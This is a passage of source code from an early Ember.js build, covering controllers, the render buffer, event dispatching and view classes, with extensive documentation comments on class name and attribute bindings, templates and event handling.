`arrangedContent`. return object; } }, arrangedContentDidChange: function() { this._super(); this._resetSubContainers(); }, arrayContentDidChange: function(idx, removedCnt, addedCnt) { var subContainers = get(this, 'subContainers'), subContainersToRemove = subContainers.slice(idx, idx+removedCnt); forEach(subContainersToRemove, function(subContainer) { if (subContainer) { subContainer.destroy(); } }); replace(subContainers, idx, removedCnt, new Array(addedCnt)); // The shadow array of subcontainers must be updated before we trigger // observers, otherwise observers will get the wrong subcontainer when // calling `objectAt` this._super(idx, removedCnt, addedCnt); }, init: function() { this._super(); this._resetSubContainers(); }, controllerAt: function(idx, object, controllerClass) { var container = get(this, 'container'), subContainers = get(this, 'subContainers'), subContainer = subContainers[idx], controller; if (!subContainer) { subContainer = subContainers[idx] = container.child(); } controller = subContainer.lookup("controller:" + controllerClass); if (!controller) { throw new Error('Could not resolve itemController: "' + controllerClass + '"'); } controller.set('target', this); controller.set('content', object); return controller; }, subContainers: null, _resetSubContainers: function() { var subContainers = get(this, 'subContainers'); if (subContainers) { forEach(subContainers, function(subContainer) { if (subContainer) { subContainer.destroy(); } }); } this.set('subContainers', Ember.A()); } }); })(); (function() { /** @module ember @submodule ember-runtime */ /** `Ember.ObjectController` is part of Ember's Controller layer. A single shared instance of each `Ember.ObjectController` subclass in your application's namespace will be created at application initialization and be stored on your application's `Ember.Router` instance. `Ember.ObjectController` derives its functionality from its superclass `Ember.ObjectProxy` and the `Ember.ControllerMixin` mixin. @class ObjectController @namespace Ember @extends Ember.ObjectProxy @uses Ember.ControllerMixin **/ Ember.ObjectController = Ember.ObjectProxy.extend(Ember.ControllerMixin); })(); (function() { })(); (function() { /** Ember Runtime @module ember @submodule ember-runtime @requires ember-metal */ })(); (function() { /** @module ember @submodule ember-views */ var jQuery = Ember.imports.jQuery; /** Alias for jQuery @method $ @for Ember */ Ember.$ = jQuery; })(); (function() { /** @module ember @submodule ember-views */ // http://www.whatwg.org/specs/web-apps/current-work/multipage/dnd.html#dndevents var dragEvents = Ember.String.w('dragstart drag dragenter dragleave dragover drop dragend'); // Copies the `dataTransfer` property from a browser event object onto the // jQuery event object for the specified events Ember.EnumerableUtils.forEach(dragEvents, function(eventName) { Ember.$.event.fixHooks[eventName] = { props: ['dataTransfer'] }; }); })(); (function() { /** @module ember @submodule ember-views */ /*** BEGIN METAMORPH HELPERS ***/ // Internet Explorer prior to 9 does not allow setting innerHTML if the first element // is a "zero-scope" element. This problem can be worked around by making // the first node an invisible text node. We, like Modernizr, use &shy; var needsShy = (function(){ var testEl = document.createElement('div'); testEl.innerHTML = "<div></div>"; testEl.firstChild.innerHTML = "<script></script>"; return testEl.firstChild.innerHTML === ''; })(); // IE 8 (and likely earlier) likes to move whitespace preceeding // a script tag to appear after it. This means that we can // accidentally remove whitespace when updating a morph. var movesWhitespace = (function() { var testEl = document.createElement('div'); testEl.innerHTML = "Test: <script type='text/x-placeholder'></script>Value"; return testEl.childNodes[0].nodeValue === 'Test:' && testEl.childNodes[2].nodeValue === ' Value'; })(); // Use this to find children by ID instead of using jQuery var findChildById = function(element, id) { if (element.getAttribute('id') === id) { return element; } var len = element.childNodes.length, idx, node, found; for (idx=0; idx<len; idx++) { node = element.childNodes[idx]; found = node.nodeType === 1 && findChildById(node, id); if (found) { return found; } } }; var setInnerHTMLWithoutFix = function(element, html) { if (needsShy) { html = '&shy;' + html; } var matches = []; if (movesWhitespace) { // Right now we only check for script tags with ids with the // goal of targeting morphs. html = html.replace(/(\s+)(<script id='([^']+)')/g, function(match, spaces, tag, id) { matches.push([id, spaces]); return tag; }); } element.innerHTML = html; // If we have to do any whitespace adjustments do them now if (matches.length > 0) { var len = matches.length, idx; for (idx=0; idx<len; idx++) { var script = findChildById(element, matches[idx][0]), node = document.createTextNode(matches[idx][1]); script.parentNode.insertBefore(node, script); } } if (needsShy) { var shyElement = element.firstChild; while (shyElement.nodeType === 1 && !shyElement.nodeName) { shyElement = shyElement.firstChild; } if (shyElement.nodeType === 3 && shyElement.nodeValue.charAt(0) === "\u00AD") { shyElement.nodeValue = shyElement.nodeValue.slice(1); } } }; /*** END METAMORPH HELPERS */ var innerHTMLTags = {}; var canSetInnerHTML = function(tagName) { if (innerHTMLTags[tagName] !== undefined) { return innerHTMLTags[tagName]; } var canSet = true; // IE 8 and earlier don't allow us to do innerHTML on select if (tagName.toLowerCase() === 'select') { var el = document.createElement('select'); setInnerHTMLWithoutFix(el, '<option value="test">Test</option>'); canSet = el.options.length === 1; } innerHTMLTags[tagName] = canSet; return canSet; }; var setInnerHTML = function(element, html) { var tagName = element.tagName; if (canSetInnerHTML(tagName)) { setInnerHTMLWithoutFix(element, html); } else { var startTag = element.outerHTML.match(new RegExp("<"+tagName+"([^>]*)>", 'i'))[0], endTag = '</'+tagName+'>'; var wrapper = document.createElement('div'); setInnerHTMLWithoutFix(wrapper, startTag + html + endTag); element = wrapper.firstChild; while (element.tagName !== tagName) { element = element.nextSibling; } } return element; }; function isSimpleClick(event) { var modifier = event.shiftKey || event.metaKey || event.altKey || event.ctrlKey, secondaryClick = event.which > 1; // IE9 may return undefined return !modifier && !secondaryClick; } Ember.ViewUtils = { setInnerHTML: setInnerHTML, isSimpleClick: isSimpleClick }; })(); (function() { /** @module ember @submodule ember-views */ var get = Ember.get, set = Ember.set; var indexOf = Ember.ArrayPolyfills.indexOf; var ClassSet = function() { this.seen = {}; this.list = []; }; ClassSet.prototype = { add: function(string) { if (string in this.seen) { return; } this.seen[string] = true; this.list.push(string); }, toDOM: function() { return this.list.join(" "); } }; /** `Ember.RenderBuffer` gathers information regarding the a view and generates the final representation. `Ember.RenderBuffer` will generate HTML which can be pushed to the DOM. @class RenderBuffer @namespace Ember @constructor */ Ember.RenderBuffer = function(tagName) { return new Ember._RenderBuffer(tagName); }; Ember._RenderBuffer = function(tagName) { this.tagNames = [tagName || null]; this.buffer = []; }; Ember._RenderBuffer.prototype = /** @scope Ember.RenderBuffer.prototype */ { // The root view's element _element: null, /** @private An internal set used to de-dupe class names when `addClass()` is used. After each call to `addClass()`, the `classes` property will be updated. @property elementClasses @type Array @default [] */ elementClasses: null, /** Array of class names which will be applied in the class attribute. You can use `setClasses()` to set this property directly. If you use `addClass()`, it will be maintained for you. @property classes @type Array @default [] */ classes: null, /** The id in of the element, to be applied in the id attribute. You should not set this property yourself, rather, you should use the `id()` method of `Ember.RenderBuffer`. @property elementId @type String @default null */ elementId: null, /** A hash keyed on the name of the attribute and whose value will be applied to that attribute. For example, if you wanted to apply a `data-view="Foo.bar"` property to an element, you would set the elementAttributes hash to `{'data-view':'Foo.bar'}`. You should not maintain this hash yourself, rather, you should use the `attr()` method of `Ember.RenderBuffer`. @property elementAttributes @type Hash @default {} */ elementAttributes: null, /** The value for this attribute. Values cannot be set via attr after jQuery 1.9, they need to be set with val() instead. You should not maintain this value yourself, rather, you should use the `val()` method of `Ember.RenderBuffer`. @property elementValue @type String @default null */ elementValue: null, /** The tagname of the element an instance of `Ember.RenderBuffer` represents. Usually, this gets set as the first parameter to `Ember.RenderBuffer`. For example, if you wanted to create a `p` tag, then you would call ```javascript Ember.RenderBuffer('p') ``` @property elementTag @type String @default null */ elementTag: null, /** A hash keyed on the name of the style attribute and whose value will be applied to that attribute. For example, if you wanted to apply a `background-color:black;` style to an element, you would set the elementStyle hash to `{'background-color':'black'}`. You should not maintain this hash yourself, rather, you should use the `style()` method of `Ember.RenderBuffer`. @property elementStyle @type Hash @default {} */ elementStyle: null, /** Nested `RenderBuffers` will set this to their parent `RenderBuffer` instance. @property parentBuffer @type Ember._RenderBuffer */ parentBuffer: null, /** Adds a string of HTML to the `RenderBuffer`. @method push @param {String} string HTML to push into the buffer @chainable */ push: function(string) { this.buffer.push(string); return this; }, /** Adds a class to the buffer, which will be rendered to the class attribute. @method addClass @param {String} className Class name to add to the buffer @chainable */ addClass: function(className) { // lazily create elementClasses var elementClasses = this.elementClasses = (this.elementClasses || new ClassSet()); this.elementClasses.add(className); this.classes = this.elementClasses.list; return this; }, setClasses: function(classNames) { this.classes = classNames; }, /** Sets the elementID to be used for the element. @method id @param {String} id @chainable */ id: function(id) { this.elementId = id; return this; }, // duck type attribute functionality like jQuery so a render buffer // can be used like a jQuery object in attribute binding scenarios. /** Adds an attribute which will be rendered to the element. @method attr @param {String} name The name of the attribute @param {String} value The value to add to the attribute @chainable @return {Ember.RenderBuffer|String} this or the current attribute value */ attr: function(name, value) { var attributes = this.elementAttributes = (this.elementAttributes || {}); if (arguments.length === 1) { return attributes[name]; } else { attributes[name] = value; } return this; }, /** Adds an value which will be rendered to the element. @method val @param {String} value The value to set @chainable @return {Ember.RenderBuffer|String} this or the current value */ val: function(value) { var elementValue = this.elementValue; if (arguments.length === 0) { return elementValue; } else { this.elementValue = value; } return this; }, /** Remove an attribute from the list of attributes to render. @method removeAttr @param {String} name The name of the attribute @chainable */ removeAttr: function(name) { var attributes = this.elementAttributes; if (attributes) { delete attributes[name]; } return this; }, /** Adds a style to the style attribute which will be rendered to the element. @method style @param {String} name Name of the style @param {String} value @chainable */ style: function(name, value) { var style = this.elementStyle = (this.elementStyle || {}); this.elementStyle[name] = value; return this; }, begin: function(tagName) { this.tagNames.push(tagName || null); return this; }, pushOpeningTag: function() { var tagName = this.currentTagName(); if (!tagName) { return; } if (!this._element && this.buffer.length === 0) { this._element = this.generateElement(); return; } var buffer = this.buffer, id = this.elementId, classes = this.classes, attrs = this.elementAttributes, value = this.elementValue, style = this.elementStyle, prop; buffer.push('<' + tagName); if (id) { buffer.push(' id="' + this._escapeAttribute(id) + '"'); this.elementId = null; } if (classes) { buffer.push(' class="' + this._escapeAttribute(classes.join(' ')) + '"'); this.classes = null; } if (style) { buffer.push(' style="'); for (prop in style) { if (style.hasOwnProperty(prop)) { buffer.push(prop + ':' + this._escapeAttribute(style[prop]) + ';'); } } buffer.push('"'); this.elementStyle = null; } if (attrs) { for (prop in attrs) { if (attrs.hasOwnProperty(prop)) { buffer.push(' ' + prop + '="' + this._escapeAttribute(attrs[prop]) + '"'); } } this.elementAttributes = null; } if (value) { buffer.push(' value="' + this._escapeAttribute(value) + '"'); this.elementValue = null; } buffer.push('>'); }, pushClosingTag: function() { var tagName = this.tagNames.pop(); if (tagName) { this.buffer.push('</' + tagName + '>'); } }, currentTagName: function() { return this.tagNames[this.tagNames.length-1]; }, generateElement: function() { var tagName = this.tagNames.pop(), // pop since we don't need to close element = document.createElement(tagName), $element = Ember.$(element), id = this.elementId, classes = this.classes, attrs = this.elementAttributes, value = this.elementValue, style = this.elementStyle, styleBuffer = '', prop; if (id) { $element.attr('id', id); this.elementId = null; } if (classes) { $element.attr('class', classes.join(' ')); this.classes = null; } if (style) { for (prop in style) { if (style.hasOwnProperty(prop)) { styleBuffer += (prop + ':' + style[prop] + ';'); } } $element.attr('style', styleBuffer); this.elementStyle = null; } if (attrs) { for (prop in attrs) { if (attrs.hasOwnProperty(prop)) { $element.attr(prop, attrs[prop]); } } this.elementAttributes = null; } if (value) { $element.val(value); this.elementValue = null; } return element; }, /** @method element @return {DOMElement} The element corresponding to the generated HTML of this buffer */ element: function() { var html = this.innerString(); if (html) { this._element = Ember.ViewUtils.setInnerHTML(this._element, html); } return this._element; }, /** Generates the HTML content for this buffer. @method string @return {String} The generated HTML */ string: function() { if (this._element) { return this.element().outerHTML; } else { return this.innerString(); } }, innerString: function() { return this.buffer.join(''); }, _escapeAttribute: function(value) { // Stolen shamelessly from Handlebars var escape = { "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#x27;", "`": "&#x60;" }; var badChars = /&(?!\w+;)|[<>"'`]/g; var possible = /[&<>"'`]/; var escapeChar = function(chr) { return escape[chr] || "&amp;"; }; var string = value.toString(); if(!possible.test(string)) { return string; } return string.replace(badChars, escapeChar); } }; })(); (function() { /** @module ember @submodule ember-views */ var get = Ember.get, set = Ember.set, fmt = Ember.String.fmt; /** `Ember.EventDispatcher` handles delegating browser events to their corresponding `Ember.Views.` For example, when you click on a view, `Ember.EventDispatcher` ensures that that view's `mouseDown` method gets called. @class EventDispatcher @namespace Ember @private @extends Ember.Object */ Ember.EventDispatcher = Ember.Object.extend( /** @scope Ember.EventDispatcher.prototype */{ /** @private The root DOM element to which event listeners should be attached. Event listeners will be attached to the document unless this is overridden. Can be specified as a DOMElement or a selector string. The default body is a string since this may be evaluated before document.body exists in the DOM. @property rootElement @type DOMElement @default 'body' */ rootElement: 'body', /** @private Sets up event listeners for standard browser events. This will be called after the browser sends a `DOMContentReady` event. By default, it will set up all of the listeners on the document body. If you would like to register the listeners on a different element, set the event dispatcher's `root` property. @method setup @param addedEvents {Hash} */ setup: function(addedEvents) { var event, events = { touchstart : 'touchStart', touchmove : 'touchMove', touchend : 'touchEnd', touchcancel : 'touchCancel', keydown : 'keyDown', keyup : 'keyUp', keypress : 'keyPress', mousedown : 'mouseDown', mouseup : 'mouseUp', contextmenu : 'contextMenu', click : 'click', dblclick : 'doubleClick', mousemove : 'mouseMove', focusin : 'focusIn', focusout : 'focusOut', mouseenter : 'mouseEnter', mouseleave : 'mouseLeave', submit : 'submit', input : 'input', change : 'change', dragstart : 'dragStart', drag : 'drag', dragenter : 'dragEnter', dragleave : 'dragLeave', dragover : 'dragOver', drop : 'drop', dragend : 'dragEnd' }; Ember.$.extend(events, addedEvents || {}); var rootElement = Ember.$(get(this, 'rootElement')); rootElement.addClass('ember-application'); for (event in events) { if (events.hasOwnProperty(event)) { this.setupHandler(rootElement, event, events[event]); } } }, /** @private Registers an event listener on the document. If the given event is triggered, the provided event handler will be triggered on the target view. If the target view does not implement the event handler, or if the handler returns `false`, the parent view will be called. The event will continue to bubble to each successive parent view until it reaches the top. For example, to have the `mouseDown` method called on the target view when a `mousedown` event is received from the browser, do the following: ```javascript setupHandler('mousedown', 'mouseDown'); ``` @method setupHandler @param {Element} rootElement @param {String} event the browser-originated event to listen to @param {String} eventName the name of the method to call on the view */ setupHandler: function(rootElement, event, eventName) { var self = this; rootElement.delegate('.ember-view', event + '.ember', function(evt, triggeringManager) { return Ember.handleErrors(function() { var view = Ember.View.views[this.id], result = true, manager = null; manager = self._findNearestEventManager(view,eventName); if (manager && manager !== triggeringManager) { result = self._dispatchEvent(manager, evt, eventName, view); } else if (view) { result = self._bubbleEvent(view,evt,eventName); } else { evt.stopPropagation(); } return result; }, this); }); rootElement.delegate('[data-ember-action]', event + '.ember', function(evt) { return Ember.handleErrors(function() { var actionId = Ember.$(evt.currentTarget).attr('data-ember-action'), action = Ember.Handlebars.ActionHelper.registeredActions[actionId]; // We have to check for action here since in some cases, jQuery will trigger // an event on `removeChild` (i.e. focusout) after we've already torn down the // action handlers for the view. if (action && action.eventName === eventName) { return action.handler(evt); } }, this); }); }, _findNearestEventManager: function(view, eventName) { var manager = null; while (view) { manager = get(view, 'eventManager'); if (manager && manager[eventName]) { break; } view = get(view, 'parentView'); } return manager; }, _dispatchEvent: function(object, evt, eventName, view) { var result = true; var handler = object[eventName]; if (Ember.typeOf(handler) === 'function') { result = handler.call(object, evt, view); // Do not preventDefault in eventManagers. evt.stopPropagation(); } else { result = this._bubbleEvent(view, evt, eventName); } return result; }, _bubbleEvent: function(view, evt, eventName) { return Ember.run(function() { return view.handleEvent(eventName, evt); }); }, destroy: function() { var rootElement = get(this, 'rootElement'); Ember.$(rootElement).undelegate('.ember').removeClass('ember-application'); return this._super(); } }); })(); (function() { /** @module ember @submodule ember-views */ // Add a new named queue for rendering views that happens // after bindings have synced, and a queue for scheduling actions // that that should occur after view rendering. var queues = Ember.run.queues; queues.splice(Ember.$.inArray('actions', queues)+1, 0, 'render', 'afterRender'); })(); (function() { /** @module ember @submodule ember-views */ var get = Ember.get, set = Ember.set; // Original class declaration and documentation in runtime/lib/controllers/controller.js // NOTE: It may be possible with YUIDoc to combine docs in two locations /** Additional methods for the ControllerMixin @class ControllerMixin @namespace Ember */ Ember.ControllerMixin.reopen({ target: null, namespace: null, view: null, container: null, _childContainers: null, init: function() { this._super(); set(this, '_childContainers', {}); }, _modelDidChange: Ember.observer(function() { var containers = get(this, '_childContainers'), container; for (var prop in containers) { if (!containers.hasOwnProperty(prop)) { continue; } containers[prop].destroy(); } set(this, '_childContainers', {}); }, 'model') }); })(); (function() { })(); (function() { var states = {}; /** @module ember @submodule ember-views */ var get = Ember.get, set = Ember.set, addObserver = Ember.addObserver, removeObserver = Ember.removeObserver; var meta = Ember.meta, guidFor = Ember.guidFor, fmt = Ember.String.fmt; var a_slice = [].slice; var a_forEach = Ember.EnumerableUtils.forEach; var a_addObject = Ember.EnumerableUtils.addObject; var childViewsProperty = Ember.computed(function() { var childViews = this._childViews, ret = Ember.A(), view = this; a_forEach(childViews, function(view) { if (view.isVirtual) { ret.pushObjects(get(view, 'childViews')); } else { ret.push(view); } }); ret.replace = function (idx, removedCount, addedViews) { if (view instanceof Ember.ContainerView) { return view.replace(idx, removedCount, addedViews); } throw new Error("childViews is immutable"); }; return ret; }); /** Global hash of shared templates. This will automatically be populated by the build tools so that you can store your Handlebars templates in separate files that get loaded into JavaScript at buildtime. @property TEMPLATES @for Ember @type Hash */ Ember.TEMPLATES = {}; Ember.CoreView = Ember.Object.extend(Ember.Evented, { isView: true, states: states, init: function() { this._super(); // Register the view for event handling. This hash is used by // Ember.EventDispatcher to dispatch incoming events. if (!this.isVirtual) { Ember.View.views[this.elementId] = this; } this.addBeforeObserver('elementId', function() { throw new Error("Changing a view's elementId after creation is not allowed"); }); this.transitionTo('preRender'); }, /** If the view is currently inserted into the DOM of a parent view, this property will point to the parent of the view. @property parentView @type Ember.View @default null */ parentView: Ember.computed(function() { var parent = this._parentView; if (parent && parent.isVirtual) { return get(parent, 'parentView'); } else { return parent; } }).property('_parentView'), state: null, _parentView: null, // return the current view, not including virtual views concreteView: Ember.computed(function() { if (!this.isVirtual) { return this; } else { return get(this, 'parentView'); } }).property('parentView').volatile(), instrumentName: 'core_view', instrumentDetails: function(hash) { hash.object = this.toString(); }, /** @private Invoked by the view system when this view needs to produce an HTML representation. This method will create a new render buffer, if needed, then apply any default attributes, such as class names and visibility. Finally, the `render()` method is invoked, which is responsible for doing the bulk of the rendering. You should not need to override this method; instead, implement the `template` property, or if you need more control, override the `render` method. @method renderToBuffer @param {Ember.RenderBuffer} buffer the render buffer. If no buffer is passed, a default buffer, using the current view's `tagName`, will be used. */ renderToBuffer: function(parentBuffer, bufferOperation) { var name = 'render.' + this.instrumentName, details = {}; this.instrumentDetails(details); return Ember.instrument(name, details, function() { return this._renderToBuffer(parentBuffer, bufferOperation); }, this); }, _renderToBuffer: function(parentBuffer, bufferOperation) { Ember.run.sync(); // If this is the top-most view, start a new buffer. Otherwise, // create a new buffer relative to the original using the // provided buffer operation (for example, `insertAfter` will // insert a new buffer after the "parent buffer"). var tagName = this.tagName; if (tagName === null || tagName === undefined) { tagName = 'div'; } var buffer = this.buffer = parentBuffer && parentBuffer.begin(tagName) || Ember.RenderBuffer(tagName); this.transitionTo('inBuffer', false); this.beforeRender(buffer); this.render(buffer); this.afterRender(buffer); return buffer; }, /** @private Override the default event firing from `Ember.Evented` to also call methods with the given name. @method trigger @param name {String} */ trigger: function(name) { this._super.apply(this, arguments); var method = this[name]; if (method) { var args = [], i, l; for (i = 1, l = arguments.length; i < l; i++) { args.push(arguments[i]); } return method.apply(this, args); } }, has: function(name) { return Ember.typeOf(this[name]) === 'function' || this._super(name); }, willDestroy: function() { var parent = this._parentView; // destroy the element -- this will avoid each child view destroying // the element over and over again... if (!this.removedFromDOM) { this.destroyElement(); } // remove from parent if found. Don't call removeFromParent, // as removeFromParent will try to remove the element from // the DOM again. if (parent) { parent.removeChild(this); } this.transitionTo('destroyed'); // next remove view from global hash if (!this.isVirtual) delete Ember.View.views[this.elementId]; }, clearRenderedChildren: Ember.K, triggerRecursively: Ember.K, invokeRecursively: Ember.K, transitionTo: Ember.K, destroyElement: Ember.K }); /** `Ember.View` is the class in Ember responsible for encapsulating templates of HTML content, combining templates with data to render as sections of a page's DOM, and registering and responding to user-initiated events. ## HTML Tag The default HTML tag name used for a view's DOM representation is `div`. This can be customized by setting the `tagName` property. The following view class: ```javascript ParagraphView = Ember.View.extend({ tagName: 'em' }); ``` Would result in instances with the following HTML: ```html <em id="ember1" class="ember-view"></em> ``` ## HTML `class` Attribute The HTML `class` attribute of a view's tag can be set by providing a `classNames` property that is set to an array of strings: ```javascript MyView = Ember.View.extend({ classNames: ['my-class', 'my-other-class'] }); ``` Will result in view instances with an HTML representation of: ```html <div id="ember1" class="ember-view my-class my-other-class"></div> ``` `class` attribute values can also be set by providing a `classNameBindings` property set to an array of properties names for the view. The return value of these properties will be added as part of the value for the view's `class` attribute. These properties can be computed properties: ```javascript MyView = Ember.View.extend({ classNameBindings: ['propertyA', 'propertyB'], propertyA: 'from-a', propertyB: function(){ if(someLogic){ return 'from-b'; } }.property() }); ``` Will result in view instances with an HTML representation of: ```html <div id="ember1" class="ember-view from-a from-b"></div> ``` If the value of a class name binding returns a boolean the property name itself will be used as the class name if the property is true. The class name will not be added if the value is `false` or `undefined`. ```javascript MyView = Ember.View.extend({ classNameBindings: ['hovered'], hovered: true }); ``` Will result in view instances with an HTML representation of: ```html <div id="ember1" class="ember-view hovered"></div> ``` When using boolean class name bindings you can supply a string value other than the property name for use as the `class` HTML attribute by appending the preferred value after a ":" character when defining the binding: ```javascript MyView = Ember.View.extend({ classNameBindings: ['awesome:so-very-cool'], awesome: true }); ``` Will result in view instances with an HTML representation of: ```html <div id="ember1" class="ember-view so-very-cool"></div> ``` Boolean value class name bindings whose property names are in a camelCase-style format will be converted to a dasherized format: ```javascript MyView = Ember.View.extend({ classNameBindings: ['isUrgent'], isUrgent: true }); ``` Will result in view instances with an HTML representation of: ```html <div id="ember1" class="ember-view is-urgent"></div> ``` Class name bindings can also refer to object values that are found by traversing a path relative to the view itself: ```javascript MyView = Ember.View.extend({ classNameBindings: ['messages.empty'] messages: Ember.Object.create({ empty: true }) }); ``` Will result in view instances with an HTML representation of: ```html <div id="ember1" class="ember-view empty"></div> ``` If you want to add a class name for a property which evaluates to true and and a different class name if it evaluates to false, you can pass a binding like this: ```javascript // Applies 'enabled' class when isEnabled is true and 'disabled' when isEnabled is false Ember.View.create({ classNameBindings: ['isEnabled:enabled:disabled'] isEnabled: true }); ``` Will result in view instances with an HTML representation of: ```html <div id="ember1" class="ember-view enabled"></div> ``` When isEnabled is `false`, the resulting HTML reprensentation looks like this: ```html <div id="ember1" class="ember-view disabled"></div> ``` This syntax offers the convenience to add a class if a property is `false`: ```javascript // Applies no class when isEnabled is true and class 'disabled' when isEnabled is false Ember.View.create({ classNameBindings: ['isEnabled::disabled'] isEnabled: true }); ``` Will result in view instances with an HTML representation of: ```html <div id="ember1" class="ember-view"></div> ``` When the `isEnabled` property on the view is set to `false`, it will result in view instances with an HTML representation of: ```html <div id="ember1" class="ember-view disabled"></div> ``` Updates to the the value of a class name binding will result in automatic update of the HTML `class` attribute in the view's rendered HTML representation. If the value becomes `false` or `undefined` the class name will be removed. Both `classNames` and `classNameBindings` are concatenated properties. See `Ember.Object` documentation for more information about concatenated properties. ## HTML Attributes The HTML attribute section of a view's tag can be set by providing an `attributeBindings` property set to an array of property names on the view. The return value of these properties will be used as the value of the view's HTML associated attribute: ```javascript AnchorView = Ember.View.extend({ tagName: 'a', attributeBindings: ['href'], href: 'http://google.com' }); ``` Will result in view instances with an HTML representation of: ```html <a id="ember1" class="ember-view" href="http://google.com"></a> ``` If the return value of an `attributeBindings` monitored property is a boolean the property will follow HTML's pattern of repeating the attribute's name as its value: ```javascript MyTextInput = Ember.View.extend({ tagName: 'input', attributeBindings: ['disabled'], disabled: true }); ``` Will result in view instances with an HTML representation of: ```html <input id="ember1" class="ember-view" disabled="disabled" /> ``` `attributeBindings` can refer to computed properties: ```javascript MyTextInput = Ember.View.extend({ tagName: 'input', attributeBindings: ['disabled'], disabled: function(){ if (someLogic) { return true; } else { return false; } }.property() }); ``` Updates to the the property of an attribute binding will result in automatic update of the HTML attribute in the view's rendered HTML representation. `attributeBindings` is a concatenated property. See `Ember.Object` documentation for more information about concatenated properties. ## Templates The HTML contents of a view's rendered representation are determined by its template. Templates can be any function that accepts an optional context parameter and returns a string of HTML that will be inserted within the view's tag. Most typically in Ember this function will be a compiled `Ember.Handlebars` template. ```javascript AView = Ember.View.extend({ template: Ember.Handlebars.compile('I am the template') }); ``` Will result in view instances with an HTML representation of: ```html <div id="ember1" class="ember-view">I am the template</div> ``` Within an Ember application is more common to define a Handlebars templates as part of a page: ```html <script type='text/x-handlebars' data-template-name='some-template'> Hello </script> ``` And associate it by name using a view's `templateName` property: ```javascript AView = Ember.View.extend({ templateName: 'some-template' }); ``` Using a value for `templateName` that does not have a Handlebars template with a matching `data-template-name` attribute will throw an error. Assigning a value to both `template` and `templateName` properties will throw an error. For views classes that may have a template later defined (e.g. as the block portion of a `{{view}}` Handlebars helper call in another template or in a subclass), you can provide a `defaultTemplate` property set to compiled template function. If a template is not later provided for the view instance the `defaultTemplate` value will be used: ```javascript AView = Ember.View.extend({ defaultTemplate: Ember.Handlebars.compile('I was the default'), template: null, templateName: null }); ``` Will result in instances with an HTML representation of: ```html <div id="ember1" class="ember-view">I was the default</div> ``` If a `template` or `templateName` is provided it will take precedence over `defaultTemplate`: ```javascript AView = Ember.View.extend({ defaultTemplate: Ember.Handlebars.compile('I was the default') }); aView = AView.create({ template: Ember.Handlebars.compile('I was the template, not default') }); ``` Will result in the following HTML representation when rendered: ```html <div id="ember1" class="ember-view">I was the template, not default</div> ``` ## View Context The default context of the compiled template is the view's controller: ```javascript AView = Ember.View.extend({ template: Ember.Handlebars.compile('Hello {{excitedGreeting}}') }); aController = Ember.Object.create({ firstName: 'Barry', excitedGreeting: function(){ return this.get("content.firstName") + "!!!" }.property() }); aView = AView.create({ controller: aController, }); ``` Will result in an HTML representation of: ```html <div id="ember1" class="ember-view">Hello Barry!!!</div> ``` A context can also be explicitly supplied through the view's `context` property. If the view has neither `context` nor `controller` properties, the `parentView`'s context will be used. ## Layouts Views can have a secondary template that wraps their main template. Like primary templates, layouts can be any function that accepts an optional context parameter and returns a string of HTML that will be inserted inside view's tag. Views whose HTML element is self closing (e.g. `<input />`) cannot have a layout and this property will be ignored. Most typically in Ember a layout will be a compiled `Ember.Handlebars` template. A view's layout can be set directly with the `layout` property or reference an existing Handlebars template by name with the `layoutName` property. A template used as a layout must contain a single use of the Handlebars `{{yield}}` helper. The HTML contents of a view's rendered `template` will be inserted at this location: ```javascript AViewWithLayout = Ember.View.extend({ layout: Ember.Handlebars.compile("<div class='my-decorative-class'>{{yield}}</div>") template: Ember.Handlebars.compile("I got wrapped"), }); ``` Will result in view instances with an HTML representation of: ```html <div id="ember1" class="ember-view"> <div class="my-decorative-class"> I got wrapped </div> </div> ``` See `Handlebars.helpers.yield` for more information. ## Responding to Browser Events Views can respond to user-initiated events in one of three ways: method implementation, through an event manager, and through `{{action}}` helper use in their template or layout. ### Method Implementation Views can respond to user-initiated events by implementing a method that matches the event name. A `jQuery.Event` object will be passed as the argument to this method. ```javascript AView = Ember.View.extend({ click: function(event){ // will be called when when an instance's // rendered element is clicked } }); ``` ### Event Managers Views can define an object as their `eventManager` property. This object can then implement methods that match the desired event names. Matching events that occur on the view's rendered HTML or the rendered HTML of any of its DOM descendants will trigger this method. A `jQuery.Event` object will be passed as the first argument to the method and an `Ember.View` object as the second. The `Ember.View` will be the view whose rendered HTML was interacted with. This may be the view with the `eventManager` property or one of its descendent views. ```javascript AView = Ember.View.extend({ eventManager: Ember.Object.create({ doubleClick: function(event, view){ // will be called when when an instance's // rendered element or any rendering // of this views's descendent // elements is clicked } }) }); ``` An event defined for an event manager takes precedence over events of the same name handled through methods on the view. ```javascript AView = Ember.View.extend({ mouseEnter: function(event){ // will never trigger. }, eventManager: Ember.Object.create({ mouseEnter: function(event, view){ // takes presedence over AView#mouseEnter } }) }); ``` Similarly a view's event manager will take precedence for events of any views rendered as a descendent. A method name that matches an event name will not be called if the view instance was rendered inside the HTML representation of a view that has an `eventManager` property defined that handles events of the name. Events not handled by the event manager will still trigger method calls on the descendent. ```javascript OuterView = Ember.View.extend({ template: Ember.Handlebars.compile("outer {{#view InnerView}}inner{{/view}} outer"), eventManager: Ember.Object.create({ mouseEnter: function(event, view){ // view might be instance of either // OutsideView or InnerView depending on // where on the page the user interaction occured } }) }); InnerView = Ember.View.extend({ click: function(event){ // will be called if rendered inside // an OuterView because OuterView's // eventManager doesn't handle click events }, mouseEnter: function(event){ // will never be called if rendered inside // an OuterView. } }); ``` ### Handlebars `{{action}}` Helper See `Handlebars.helpers.action`. ### Event Names Possible events names for any of the responding approaches described above are: Touch events: * `touchStart` * `touchMove` * `touchEnd` * `touchCancel` Keyboard events * `keyDown` * `keyUp` * `keyPress` Mouse events * `mouseDown` * `mouseUp` * `contextMenu` * `click` * `doubleClick` * `mouseMove` * `focusIn` * `focusOut` * `mouseEnter` * `mouseLeave` Form events: * `submit` * `change` * `focusIn` * `focusOut` * `input` HTML5 drag and drop events: * `dragStart` * `drag` * `dragEnter` * `dragLeave` * `drop` * `dragEnd` ## Handlebars `{{view}}` Helper Other `Ember.View` instances can be included as part of a view's template by using the `{{view}}` Handlebars helper. See `Handlebars.helpers.view` for additional information. @class View @namespace Ember @extends Ember.Object @uses Ember.Evented */ Ember.View = Ember.CoreView.extend( /** @scope Ember.View.prototype */ { concatenatedProperties: ['classNames', 'classNameBindings', 'attributeBindings'], /** @property isView @type Boolean @default true @final */ isView: true, // .......................................................... // TEMPLATE SUPPORT // /** The name of the template to lookup if no template is provided. `Ember.View` will look for a template with this name in this view's `templates` object. By default, this will be a global object shared in `Ember.TEMPLATES`. @property templateName @type String @default null */ 